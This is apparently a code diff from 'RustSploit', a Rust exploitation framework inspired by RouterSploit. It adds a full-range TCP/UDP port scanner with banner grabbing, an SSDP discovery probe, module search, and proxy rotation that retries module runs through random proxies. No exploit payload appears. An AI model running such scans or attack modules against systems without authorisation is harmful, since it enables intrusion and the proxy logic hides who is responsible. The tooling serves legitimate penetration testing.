||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
net::{TcpStream, UdpSocket},
|
||||
sync::Semaphore,
|
||||
time::{timeout, Duration},
|
||||
};
|
||||
|
||||
#[allow(dead_code)]
|
||||
pub struct ScanSettings {
|
||||
pub concurrency: usize,
|
||||
pub timeout_secs: u64,
|
||||
pub show_only_open: bool,
|
||||
pub verbose: bool,
|
||||
pub scan_udp_enabled: bool,
|
||||
pub output_file: String,
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Prompt user for scan configuration
|
||||
pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
Ok(ScanSettings {
|
||||
concurrency: prompt_usize("Concurrency: ")?,
|
||||
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
|
||||
verbose: prompt_bool("Verbose output? (y/n): ")?,
|
||||
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
|
||||
output_file: prompt("Output filename: ")?,
|
||||
})
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Interactive entry point
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let settings = prompt_settings()?;
|
||||
run_with_settings(
|
||||
target,
|
||||
settings.concurrency,
|
||||
settings.timeout_secs,
|
||||
settings.show_only_open,
|
||||
settings.verbose,
|
||||
settings.scan_udp_enabled,
|
||||
&settings.output_file,
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Dispatch-compatible wrapper
|
||||
#[allow(dead_code)]
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
/// Renamed internal function to avoid clash
|
||||
pub async fn run_with_settings(
|
||||
target: &str,
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
show_only_open: bool,
|
||||
verbose: bool,
|
||||
scan_udp_enabled: bool,
|
||||
output_file: &str,
|
||||
) -> Result<()> {
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks = vec![];
|
||||
let mut file = File::create(output_file)?;
|
||||
writeln!(file, "Scan Results for {}\n", target)?;
|
||||
|
||||
println!("[*] Starting TCP scan...");
|
||||
for port in 1..=65535 {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let target = target.to_string();
|
||||
let mut file = file.try_clone()?;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if let Some((status, banner)) = scan_tcp(&target, port, timeout_secs).await {
|
||||
let line = format!("[TCP] {}:{} => {}", target, port, status);
|
||||
if status == "OPEN" || !show_only_open {
|
||||
if !banner.is_empty() {
|
||||
writeln!(file, "{} | Banner: {}", line, banner).ok();
|
||||
if verbose {
|
||||
println!("{} | Banner: {}", line, banner);
|
||||
}
|
||||
} else {
|
||||
writeln!(file, "{}", line).ok();
|
||||
if verbose {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
tasks.push(handle);
|
||||
}
|
||||
|
||||
if scan_udp_enabled {
|
||||
println!("[*] Starting UDP scan...");
|
||||
for port in 1..=65535 {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let target = target.to_string();
|
||||
let mut file = file.try_clone()?;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if let Some(status) = scan_udp(&target, port, timeout_secs).await {
|
||||
let line = format!("[UDP] {}:{} => {}", target, port, status);
|
||||
if status == "OPEN" || !show_only_open {
|
||||
writeln!(file, "{}", line).ok();
|
||||
if verbose {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
tasks.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
println!("[*] Scan complete. Results saved to {}", output_file);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// TCP connect scan + banner grab
|
||||
async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, String)> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(stream)) => {
|
||||
let mut buf = [0; 1024];
|
||||
match timeout(Duration::from_secs(2), stream.readable()).await {
|
||||
Ok(Ok(())) => match stream.try_read(&mut buf) {
|
||||
Ok(n) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
|
||||
Some(("OPEN".into(), banner))
|
||||
}
|
||||
_ => Some(("OPEN".into(), "".into())),
|
||||
},
|
||||
_ => Some(("OPEN".into(), "".into())),
|
||||
}
|
||||
}
|
||||
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
|
||||
Err(_) => Some(("TIMEOUT".into(), "".into())),
|
||||
}
|
||||
}
|
||||
|
||||
/// UDP scan (null packet, timeout-based)
|
||||
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
|
||||
let remote = format!("{}:{}", ip, port).parse::<SocketAddr>().ok()?;
|
||||
let socket = UdpSocket::bind(local).await.ok()?;
|
||||
|
||||
let _ = socket.send_to(b"\x00", remote).await;
|
||||
let mut buf = [0u8; 512];
|
||||
|
||||
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
|
||||
Ok(Ok((_n, _))) => Some("OPEN".into()),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt for string input
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_string())
|
||||
}
|
||||
|
||||
/// Prompt for boolean yes/no
|
||||
fn prompt_bool(message: &str) -> Result<bool> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Please enter 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt for number input
|
||||
fn prompt_usize(message: &str) -> Result<usize> {
|
||||
loop {
|
||||
let input = prompt(message)?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
return Ok(n);
|
||||
}
|
||||
println!("Please enter a valid number.");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
use anyhow::{Result};
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target_ip: &str) -> Result<()> {
|
||||
let port = 1900;
|
||||
println!("[*] Sending SSDP M-SEARCH to {}:{}...", target_ip, port);
|
||||
|
||||
let addr = format!("{}:{}", target_ip, port);
|
||||
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
|
||||
let socket = UdpSocket::bind(local_bind).await?;
|
||||
socket.connect(&addr).await?;
|
||||
|
||||
let request = format!(
|
||||
"M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: {}:{}\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 2\r\n\
|
||||
ST: upnp:rootdevice\r\n\r\n",
|
||||
target_ip, port
|
||||
);
|
||||
|
||||
socket.send(request.as_bytes()).await?;
|
||||
|
||||
let mut buf = vec![0u8; 2048];
|
||||
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
|
||||
Ok(Ok(size)) => {
|
||||
let response = String::from_utf8_lossy(&buf[..size]);
|
||||
parse_ssdp_response(&response, target_ip, port);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target did not respond to M-SEARCH request");
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
("usn", r"(?i)USN:\s*(.*?)\r\n"),
|
||||
];
|
||||
|
||||
let mut results: HashMap<&str, String> = HashMap::new();
|
||||
|
||||
for (key, pattern) in regexps {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(caps) = re.captures(response) {
|
||||
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
|
||||
} else {
|
||||
results.insert(key, String::from(""));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!(
|
||||
"[+] {}:{} | {} | {} | {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("server").unwrap_or(&"".to_string()),
|
||||
results.get("location").unwrap_or(&"".to_string()),
|
||||
results.get("usn").unwrap_or(&"".to_string())
|
||||
);
|
||||
}
|
||||
+152
-14
@@ -1,14 +1,35 @@
|
||||
use crate::commands;
|
||||
use crate::utils;
|
||||
use anyhow::Result;
|
||||
use rand::prelude::*; // Updated for rand 0.10
|
||||
use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
|
||||
/// Simple interactive shell context
|
||||
struct ShellContext {
|
||||
current_module: Option<String>,
|
||||
current_target: Option<String>,
|
||||
proxy_list: Vec<String>,
|
||||
proxy_enabled: bool,
|
||||
}
|
||||
|
||||
impl ShellContext {
|
||||
fn new() -> Self {
|
||||
ShellContext {
|
||||
current_module: None,
|
||||
current_target: None,
|
||||
proxy_list: Vec::new(),
|
||||
proxy_enabled: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn interactive_shell() -> Result<()> {
|
||||
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
|
||||
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
|
||||
|
||||
let mut current_module: Option<String> = None;
|
||||
let mut current_target: Option<String> = None;
|
||||
let mut ctx = ShellContext::new();
|
||||
|
||||
loop {
|
||||
print!("rsf> ");
|
||||
@@ -31,37 +52,124 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
println!("Available commands:");
|
||||
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
|
||||
println!(" set target <value> - Set the target IP/host");
|
||||
println!(" run - Run the current module");
|
||||
println!(" run - Run the current module (with proxy retries if enabled)");
|
||||
println!(" modules - List available modules");
|
||||
println!(" find <keyword> - Search for a module by keyword");
|
||||
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
|
||||
println!(" proxy_on - Enable proxy usage");
|
||||
println!(" proxy_off - Disable proxy usage");
|
||||
println!(" show_proxies - Show loaded proxies & current proxy status");
|
||||
println!(" exit, quit - Exit the shell");
|
||||
},
|
||||
"modules" => {
|
||||
utils::list_all_modules();
|
||||
},
|
||||
c if c.starts_with("use ") => {
|
||||
let module_path = c.trim_start_matches("use ").trim();
|
||||
cmd if cmd.starts_with("find ") => {
|
||||
let keyword = cmd.trim_start_matches("find ").trim();
|
||||
if keyword.is_empty() {
|
||||
println!("Usage: find <keyword>");
|
||||
} else {
|
||||
utils::find_modules(keyword);
|
||||
}
|
||||
},
|
||||
cmd if cmd.starts_with("proxy_load ") => {
|
||||
let file = cmd.trim_start_matches("proxy_load ").trim();
|
||||
match utils::load_proxies_from_file(file) {
|
||||
Ok(list) => {
|
||||
ctx.proxy_list = list;
|
||||
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to load proxies: {}", e);
|
||||
}
|
||||
}
|
||||
},
|
||||
"proxy_on" => {
|
||||
ctx.proxy_enabled = true;
|
||||
println!("Proxy usage enabled.");
|
||||
},
|
||||
"proxy_off" => {
|
||||
ctx.proxy_enabled = false;
|
||||
println!("Proxy usage disabled.");
|
||||
clear_proxy_env_vars();
|
||||
},
|
||||
"show_proxies" => {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
|
||||
} else {
|
||||
println!("Loaded proxies ({}):", ctx.proxy_list.len());
|
||||
for p in &ctx.proxy_list {
|
||||
println!(" {}", p);
|
||||
}
|
||||
}
|
||||
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
|
||||
},
|
||||
cmd if cmd.starts_with("use ") => {
|
||||
let module_path = cmd.trim_start_matches("use ").trim();
|
||||
if utils::module_exists(module_path) {
|
||||
current_module = Some(module_path.to_string());
|
||||
ctx.current_module = Some(module_path.to_string());
|
||||
println!("Module '{}' selected.", module_path);
|
||||
} else {
|
||||
println!("Module '{}' not found.", module_path);
|
||||
}
|
||||
},
|
||||
c if c.starts_with("set ") => {
|
||||
// Example: set target 192.168.1.1
|
||||
let parts: Vec<&str> = c.split_whitespace().collect();
|
||||
cmd if cmd.starts_with("set ") => {
|
||||
let parts: Vec<&str> = cmd.split_whitespace().collect();
|
||||
if parts.len() >= 3 && parts[1] == "target" {
|
||||
current_target = Some(parts[2].to_string());
|
||||
ctx.current_target = Some(parts[2].to_string());
|
||||
println!("Target set to {}", parts[2]);
|
||||
} else {
|
||||
println!("Usage: set target <value>");
|
||||
}
|
||||
},
|
||||
"run" => {
|
||||
if let Some(ref module_path) = current_module {
|
||||
if let Some(ref t) = current_target {
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
commands::run_module(module_path, t).await?;
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
// -----------------------------
|
||||
// NEW: Proxy Retry Logic
|
||||
// -----------------------------
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
println!("[*] Using proxy: {}", chosen_proxy);
|
||||
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
match commands::run_module(module_path, t).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed with error: {:?}", e);
|
||||
eprintln!(" Retrying with a new proxy...");
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
println!("[!] All proxies failed. Trying direct connection...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Final direct attempt also failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("No target set. Use 'set target <value>' first.");
|
||||
}
|
||||
@@ -77,3 +185,33 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
|
||||
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
|
||||
let untried: Vec<&String> = proxy_list.iter()
|
||||
.filter(|p| !tried_proxies.contains(*p))
|
||||
.collect();
|
||||
|
||||
if untried.is_empty() {
|
||||
// Fall back if somehow there's nothing untried
|
||||
let mut rng = rand::rng();
|
||||
let idx = rng.random_range(0..proxy_list.len());
|
||||
return proxy_list[idx].clone();
|
||||
}
|
||||
|
||||
let mut rng = rand::rng();
|
||||
let idx = rng.random_range(0..untried.len());
|
||||
untried[idx].clone()
|
||||
}
|
||||
|
||||
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
|
||||
fn set_all_proxy_env(proxy: &str) {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
}
|
||||
|
||||
/// Clears environment variables for direct connection
|
||||
fn clear_proxy_env_vars() {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
}
|
||||
|
||||
+84
-7
@@ -1,11 +1,12 @@
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::path::{Path,};
|
||||
use std::io::{BufRead, BufReader, Error};
|
||||
use std::path::{Path};
|
||||
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
|
||||
/// Recursively list .rs files up to a certain depth
|
||||
/// Recursively list .rs files up to a certain depth (unchanged)
|
||||
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
@@ -26,8 +27,7 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
.unwrap_or(&path)
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // For Windows compatibility
|
||||
|
||||
.replace('\\', "/"); // For Windows
|
||||
modules.push(relative_path);
|
||||
}
|
||||
}
|
||||
@@ -37,16 +37,15 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
modules
|
||||
}
|
||||
|
||||
/// Dynamically checks if a module path exists at any depth
|
||||
/// Dynamically checks if a module path exists at any depth (unchanged)
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
modules.iter().any(|m| m == module_path)
|
||||
}
|
||||
|
||||
/// Lists all available modules recursively under src/modules/
|
||||
/// Lists all available modules recursively under src/modules/ (unchanged)
|
||||
pub fn list_all_modules() {
|
||||
println!("{}", "Available modules:".bold().underline());
|
||||
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
if modules.is_empty() {
|
||||
println!("{}", "No modules found.".red());
|
||||
@@ -71,3 +70,81 @@ pub fn list_all_modules() {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds and displays modules matching a keyword
|
||||
pub fn find_modules(keyword: &str) {
|
||||
let keyword_lower = keyword.to_lowercase();
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
|
||||
let filtered: Vec<String> = modules
|
||||
.into_iter()
|
||||
.filter(|m| m.to_lowercase().contains(&keyword_lower))
|
||||
.collect();
|
||||
|
||||
if filtered.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("No modules found matching '{}'.", keyword).red()
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("Modules matching '{}':", keyword).bold().underline()
|
||||
);
|
||||
|
||||
let mut grouped = std::collections::BTreeMap::new();
|
||||
for module in filtered {
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
let category = parts.get(0).unwrap_or(&"Other").to_string();
|
||||
grouped
|
||||
.entry(category)
|
||||
.or_insert_with(Vec::new)
|
||||
.push(module.clone());
|
||||
}
|
||||
|
||||
for (category, paths) in grouped {
|
||||
println!("\n{}:", category.blue().bold());
|
||||
for path in paths {
|
||||
println!(" - {}", path.green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
|
||||
/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
|
||||
fn parse_proxy_line(line: &str) -> String {
|
||||
let trimmed = line.trim().to_lowercase();
|
||||
if trimmed.starts_with("http://")
|
||||
|| trimmed.starts_with("https://")
|
||||
|| trimmed.starts_with("socks4://")
|
||||
|| trimmed.starts_with("socks5://")
|
||||
{
|
||||
// User specified a scheme, keep as is (but restore original case if you want).
|
||||
line.to_string()
|
||||
} else {
|
||||
// Default to HTTP if no scheme is provided
|
||||
format!("http://{}", line)
|
||||
}
|
||||
}
|
||||
|
||||
/// Load proxies from a file, returning lines like:
|
||||
/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
|
||||
let file = fs::File::open(filename)?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let mut proxies = Vec::new();
|
||||
for line in reader.lines() {
|
||||
let line = line?.trim().to_string();
|
||||
if !line.is_empty() {
|
||||
let parsed = parse_proxy_line(&line);
|
||||
proxies.push(parsed);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(proxies)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user